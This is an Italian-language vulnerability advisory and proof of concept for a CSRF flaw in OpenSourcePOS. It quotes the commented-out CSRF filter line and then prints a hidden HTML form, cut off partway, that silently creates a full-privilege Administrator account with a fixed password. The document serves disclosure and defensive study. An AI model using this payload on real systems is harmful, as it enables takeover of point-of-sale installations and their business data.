
PoC e analisi per CVE-2025-68434: CSRF critico in OpenSourcePOS. Sfrutta una configurazione del filtro disabilitata per consentire ad attaccanti non autenticati di creare silenziosamente account Amministratore non autorizzati, portando al controllo totale del sistema. Validato su versioni < 3.4.0.
| Metadati | Dettagli |
|---|---|
| ID CVE | CVE-2025-68434 |
| Gravità | Critica (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Tipo di vulnerabilità | Cross-Site Request Forgery (CWE-352) |
| Versioni interessate | OpenSourcePOS v3.4.0, v3.4.1 |
| Versione corretta | v3.4.2 |
| Componente vulnerabile | app/Config/Filters.php (filtri di sicurezza globali) |
| Segnalatore | Aditya Singh (Nixon-H) |
Una vulnerabilità critica di Cross-Site Request Forgery (CSRF) è stata scoperta nella configurazione di sicurezza principale di OpenSourcePOS. Il meccanismo globale di protezione CSRF dell'applicazione è stato disabilitato esplicitamente all'interno del file app/Config/Filters.php a causa di un "TODO" temporaneo di sviluppo che non è mai stato risolto.
Questa errata configurazione ha permesso all'applicazione di accettare richieste HTTP che modificano lo stato (POST) senza verificare un token anti-falsificazione valido. Un attaccante remoto non autenticato potrebbe sfruttare la vulnerabilità inducendo un Amministratore con sessione attiva a visitare una pagina dannosa. La pagina dell'attaccante potrebbe quindi forzare silenziosamente il browser della vittima a eseguire azioni amministrative; in particolare, creare un nuovo account Amministratore "Backdoor" con privilegi completi, portando alla completa compromissione del sistema.
La vulnerabilità si trovava nella configurazione dei filtri globali (app/Config/Filters.php). In CodeIgniter 4, l'array $globals determina quali filtri vengono eseguiti su ogni richiesta.
Nelle versioni interessate, il filtro csrf era commentato nell'elenco di esecuzione before, disabilitando di fatto la protezione CSRF dell'intera applicazione.
Codice vulnerabile (app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
Poiché questa riga era commentata, il middleware responsabile del controllo di csrf_token_name non veniva mai eseguito. L'applicazione accettava qualsiasi richiesta POST proveniente da qualsiasi origine, affidandosi unicamente al cookie di sessione (ospos_session) per l'autenticazione.
csrf_exploit.html su un server esterno.valid_12345).POC/csrf_exploit.html)Questo è il payload esatto utilizzato per creare un Amministratore fasullo con permessi completi:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">